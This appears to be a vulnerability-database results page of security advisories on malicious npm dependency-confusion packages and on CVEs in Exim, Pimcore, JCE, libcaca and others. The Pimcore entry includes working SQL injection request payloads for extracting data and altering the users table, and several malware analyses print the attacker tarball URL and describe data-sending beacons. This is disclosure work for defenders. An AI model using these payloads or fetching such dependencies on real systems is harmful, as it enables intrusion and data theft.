Search: 2.9.99.5

The npm package @sourceflow-uk/sourceflow-tracker version 99.91.9 is a malicious package that includes a dependency fetched from an uncontrolled external URL. This dependency is a tarball hosted on a generic Google Cloud Storage bucket unrelated to the package publisher, allowing the bucket owner to change its contents arbitrarily. The package itself is hollow and appears to be a lure to chain-load the external malicious tarball. Installing this package executes lifecycle scripts from the external tarball, potentially compromising the host system. Any system with this package installed should be considered fully compromised, and all stored secrets and keys should be rotated immediately from a different machine.

The @doaction/examples npm package version 99.99.99 (and also 9.9.9) contains malicious code executed during installation via a preinstall hook. This hook runs a script that loads telemetry code from a sibling package, which collects environment variables and sends them to a remote destination without user consent or opt-out. The package is labeled 'for internal testing' but is publicly available, enabling dependency confusion attacks where organizations expecting internal @doaction packages may inadvertently install this malicious public package. The presence of inconsistent script naming further obscures the malicious behavior. Systems with this package installed should be considered fully compromised, and all secrets and keys on those systems must be rotated immediately. Removing the package alone may not fully remediate the compromise.

The npm package @doaction/example versions 9.9.9 and 99.99.99 contain malicious code. The package's preinstall script delegates execution to a shared dependency whose behavior is unknown and potentially harmful. Installation of this package may lead to full system compromise, requiring immediate secret and key rotation. Removal of the package alone may not eliminate all malicious components.

DBI versions before 1.648 for Perl have a heap overflow when preparsing SQL statements with more than 9 binders. The preparse method expands SQL placeholder characters to numbered binders of the form :pN, but only allocates three characters per binder in the buffer. Placeholders 10-99 require four characters, 100-999 require five characters, et cetera.

A critical vulnerability (CVE-2026-48907) in the Joomla Content Editor (JCE) extension for Joomla allows unauthenticated users to create new editor profiles. This flaw leads to the upload and execution of arbitrary PHP code, posing a severe risk to affected systems. The vulnerability affects versions from 1.0.0 up to and including 2.9.99.4. Exploitation requires no privileges or user interaction and has been observed in the wild. The vulnerability is classified under CWE-284 (Improper Access Control) and has a CVSS 4.0 base score of 10.0, indicating maximum severity.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9314c597c5023f198b20ebe47d09cf929d8e252e27f60928a3ab73dbe77de8cd) page-info-service@99.9.1 ships an empty stub (`index.js` is `module.exports = {}`) with placeholder author/description metadata and an unusually high 99.9.1 version designed to win semver resolution against an internal package name. Its sole effect is a `dependencies` entry that pulls `ltidisafe` from an external HTTPS tarball at `https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.9.3.tgz` — not from the npm registry. On `npm install`, npm fetches and installs that tarball and runs whatever lifecycle scripts and code it contains. The tarball is hosted on a third-party Google Cloud Storage bucket under a path (`depenconf/`) that explicitly suggests dependency-confusion tooling; its contents are mutable by the bucket owner, there is no integrity hash, no version pinning to a trusted registry, and no relation to any stated package purpose. This matches the canonical dependency-confusion off-registry-dropper pattern. ## Source: ghsa-malware (d4629b915cdacf2c06a56d5bb43476aef698d2e2a827d15eeb303154454b105b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (d4a2106922e9e3851658667cacaa2c2818cdb56cd0c4df6778c0cb7fbed2338e) The OpenSSF Package Analysis project identified 'page-info-service' @ 99.9.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c7d0f2e829316d0c6a04bc41fb4d187569c00c3273384b1666d3068a0e696291) po-ops-local-dev@99.9.1 has no functional code of its own (index.js contains only `module.exports = {};` and there are no lifecycle scripts). Its sole effect on install is to pull `ltidisafe` directly from `https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.9.2.tgz` — a Google Cloud Storage bucket, not the npm registry. The package name `po-ops-local-dev` combined with the `depenconf` path segment in the tarball URL is consistent with a dependency-confusion staging or research artifact. On `npm install`, npm fetches that tarball and runs any lifecycle scripts it contains; the contents at that GCS URL are mutable and outside npm's integrity verification. The actual installer impact depends entirely on what bytes the GCS bucket serves, which were not inspected here. ## Source: ghsa-malware (ba8f8a6c18a06f6085b7f3eafb109928924f4be3dee0eba5a7d23725f055fe92) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (ed7a024c524e1a4bc29e2670d7dc00e5aa4c6891650c3c6bf38a2f388f4a3cb9) The OpenSSF Package Analysis project identified 'po-ops-local-dev' @ 99.9.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (fb8d1b46db555fda7536bcf080f9dfd0ceed5c731f7a96b2579121598dad6721) Package @att-ebiz/abs-components-bc@99.9.1 is an empty placeholder published to public npm under a scope (@att-ebiz) that matches AT&T's internal eBusiness namespace, with an inflated 99.9.1 version designed to outrank a legitimate private package of the same name during resolution. Its only meaningful content is a dependency in package.json line 10 declaring "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.8.8.tgz" — an off-registry tarball hosted on a third-party Google Cloud Storage bucket. The URL is unpinned (no integrity hash), mutable by whoever controls the bucket, and the path segment 'depenconf' explicitly names the dependency-confusion technique. On npm install, npm fetches that tarball and executes any preinstall/install/postinstall lifecycle scripts and module code it contains on the installer's machine. The package itself ships an empty index.js, so installation has no purpose other than pulling and executing the remote tarball's contents. Combined fingerprint — scoped namespace impersonation + 99.9.1 version inflation + empty source + unpinned off-registry tarball with 'depenconf' in the URL — is an unambiguous dependency-confusion dropper. ## Source: ghsa-malware (397f7a3656c6e13b1ba187a7f842221211ea1a02dc0f54ce3775e0c08d78a53b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (d9d4d8606057fc579fbbc6ede648c88bb580827838850f589e8887c1dd374a39) The OpenSSF Package Analysis project identified '@att-ebiz/abs-components-bc' @ 99.9.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (63dac830216ae445ebe7c5f45534e479d73a23a098ea9fc5740eeded5ebab4c9) On `npm install`, the package's preinstall script (preinstall.js) collects the installer's hostname, OS username, current working directory, and a timestamp, then sends them to two attacker-style out-of-band endpoints: a DNS lookup of a subdomain under `oast.fun` (an Interactsh-style callback service) constructed from the installer's identifiers, and an HTTPS POST of a JSON payload to a `webhook.site` URL. The package itself provides no functionality — it is a high-version (99.0.1) namespace-confusion lure against an internal `@aonunited/angular` package, designed so that any environment whose resolver picks the public registry copy will auto-execute the beacon. Although the metadata describes this as authorized HackerOne VDP research, the package is published to the public npm registry, so any developer or build system that installs or mistypes it leaks host fingerprints to third-party infrastructure without consent. ## Source: ghsa-malware (edcefa4f7ecdb8b1bf87735af2b0de89a74794dda4d8fbac66b99eaa7914d861) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (411e19a999b3354e6b5ad40e6da82882c1bf314a35d722ade7b3e23eb9c4a46c) The OpenSSF Package Analysis project identified '@aonunited/angular' @ 99.0.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

The RubyGems package 'align_rest_api' version 99.99.99 has been identified as malicious by the OpenSSF Package Analysis project. This package executes one or more commands associated with malicious behavior. No official patch or remediation guidance is available. There are no known exploits in the wild reported at this time. Users should avoid using this package version due to its malicious nature.

The npm package sorenson-webfonts version 99.9.1 is identified as a malicious package designed for dependency confusion attacks. It contains a minimal stub code and pulls an off-registry dependency from a Google Cloud Storage bucket path suggestive of malicious intent. Installing this package can lead to full system compromise, as it executes lifecycle scripts from an untrusted source. Immediate removal and secret/key rotation are recommended if this package is found installed.

### Summary The columnConfigAction endpoint in the CustomReportsBundle is vulnerable to SQL injection. An attacker with the reports_config permission can supply a malicious SQL configuration that is concatenated into a query and executed. Although the application attempts to filter certain DDL/DML keywords (like UPDATE, DELETE, DROP), it fails to prevent arbitrary SELECT queries, UNION statements, or the use of dangerous database functions. Furthermore, because the application returns database error messages in the JSON response, an attacker can easily exfiltrate data using error-based SQL injection techniques. ### Affected scope bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php CustomReportController:columnConfigAction -> SqlAdapter::getColumns -> SqlAdapter::buildQueryString -> Db::fetchAssociative() ### PoC * Download and install the version Pimcore <=12.3.3 (latest) * Login using Admin account or any account that has reports_config permission * Navigate to custom reports * Capture the request using burp suite and perform SQLi attack as the following 1. Get Database username ``` POST /admin/bundle/customreports/custom-report/column-config HTTP/1.1 Host: localhost Content-Length: 310 sec-ch-ua-platform: "Linux" Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Not_A Brand";v="99", "Chromium";v="142" sec-ch-ua-mobile: ?0 X-pimcore-extjs-version-minor: 0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 X-pimcore-csrf-token: 2e42012c8310823bbdbce1598bdecfd19cb5e9c4 X-pimcore-extjs-version-major: 7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: */* Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/admin/ Accept-Encoding: gzip, deflate, br Cookie: pimcore_admin_auth_profile_token=9f990b; PHPSESSID=d101f6fce4d87b8bdbbe800f9f50c82a; _pc_vis=3a17250fba52c657; _pc_ses=1774896807012; _pc_tss=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NzQ4OTc1MTQuNjEwNzE3LCJwdGciOnsiX20iOjEsIl9jIjoxNzc0ODk2ODA1LCJfdSI6MTc3NDg5NzUxNCwidmk6c3J1IjpbN119LCJleHAiOjE3NzQ4OTkzMTR9.uO4iHiABylQ2KyZC0p8Li9hpgWfHnNQ01GUkbeY1Wmc; _pc_tvs=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NzQ4OTc1MTQuNjExNTA4LCJwdGciOnsiY21mOnNnIjp7Ijg2MCI6Mn0sIl9jIjoxNzc0ODc2MzQyLCJfdSI6MTc3NDg5NjgwNX0sImV4cCI6MTgwNjQzMzUxNH0.mhq_2qwWzWWGruI0VNnAwgs8QzfZfbc6Za0uGn7zNYM Connection: keep-alive configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20user())%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes ``` 2. Get Database name ``` configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(select%2bcurrent_setting(%24%24is_superuser%24%24))%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes ``` 3. Get Tables names __Note__: Update the limit parameter to iterate around the tables queries like limit 0,1 limit 1,1 , limit 2,1 ..etc ``` configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_schema%3ddatabase()%20LIMIT%200%2c1)%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes ``` 4. Bypass the implemented Regex and perform SQL updat eto for exmaple update the admin username ``` configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22*%22%2c%22from%22%3a%22users%22%2c%22where%22%3a%22id%3d1)%2f**%2fOR%2f**%2f1%3d1%3b%2f**%2fUPDATE%2f**%2fusers%2f**%2fSET%2f**%2fname%3d'admin'%2f**%2fWHERE%2f**%2fname%3d'admin2'%3b--%20-%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes ``` ### Impact By exploiting this vulneability any user with custom-report access could manipuate and crawl the database information and also bypass the application filters to Update,insert or delete database tables, which impact on the application confidentiality ,intergrity and service availability

FastNetMon Community Edition through 1.2.9 contains a stack-based buffer overflow in the BGP NLRI (Network Layer Reachability Information) decoder. The function decode_bgp_subnet_encoding_ipv4_raw() in src/bgp_protocol.cpp reads prefix_bit_length directly from the BGP packet (line 99) without validating it is <= 32 for IPv4 prefixes. This value is passed to how_much_bytes_we_need_for_storing_certain_subnet_mask() which computes ceil(prefix_bit_length / 8), returning up to 32 bytes for a prefix_bit_length of 255. The result is used as the length argument to memcpy() (line 106), which copies into a 4-byte uint32_t stack variable (prefix_ipv4). This causes a stack buffer overflow of up to 28 bytes, which can be exploited for arbitrary code execution. Additionally, the unvalidated prefix_bit_length is passed to convert_cidr_to_binary_netmask_local_function_copy() (line 111), where a shift of (32 - cidr) with cidr > 32 causes undefined behavior.

The npm package '@cloudways-lab/unified-design-system' version 99.9.1 is identified as malicious. It communicates with a domain linked to malicious activity, indicating potential compromise of any system where it is installed. Removal of the package alone may not fully remediate the risk, as the system could be fully compromised. Immediate rotation of all secrets and keys stored on affected systems is advised.

The npm package '@citi-icg-171632/citicms-repo-component' version 99.9.1 is identified as malicious. It communicates with a domain linked to malicious activity, indicating potential compromise. Any system with this package installed should be considered fully compromised, and all secrets and keys on that system should be rotated immediately from a different, trusted machine. Removal of the package alone may not eliminate all malicious software introduced by it.

The npm package @riskine-frontend/design-elements version 99.9.1 is a malicious dependency confusion package designed to impersonate an internal package. It is nearly empty but pulls an external tarball from a non-npm URL containing the literal 'depenconf' path, indicating dependency confusion attack tradecraft. Installing this package executes potentially malicious lifecycle scripts, compromising the host system. Any system with this package installed should be considered fully compromised, and all secrets and keys must be rotated. Removal of the package alone does not guarantee eradication of the malicious code.

CVE-2026-45185 is a use-after-free vulnerability in Exim versions before 4.99.3 when configured with certain GnuTLS settings. It occurs in the BDAT body parsing path during a CHUNKING transfer if a client sends a TLS close_notify mid-body followed by a final cleartext byte on the same TCP connection. This can cause heap corruption and potentially allow an unauthenticated remote attacker to execute arbitrary code.

CVE-2026-42046 is a heap-based buffer overflow vulnerability in libcaca versions 0.99.beta20 and earlier. It arises from an integer overflow in the canvas import functionality when processing crafted 'caca' format files. This vulnerability can lead to controlled heap out-of-bounds writes, potentially causing memory corruption or remote code execution depending on the build and memory allocator. It is a recurrence of CVE-2021-3410, with the previous fix being incomplete. A specific commit (fb77acff9ba6bb01d53940da34fb10f20b156a23) addresses this issue. The CVSS score is 7.8, indicating high severity.

titra is an open source time tracking project. In version 0.99.52, the globalsettings Meteor publication returns all global settings without any admin or role check. Any authenticated user can subscribe via DDP and receive sensitive configuration fields such as google_secret, openai_apikey, and google_clientid. At time of publication no public patch is available.

Exim versions prior to 4.99.2 have a vulnerability when JSON lookup is enabled. An out-of-bounds heap write can occur if a JSON operator processes malformed JSON in an untrusted header due to improper handling of escape sequences. This flaw can lead to denial of service or other impacts related to heap corruption.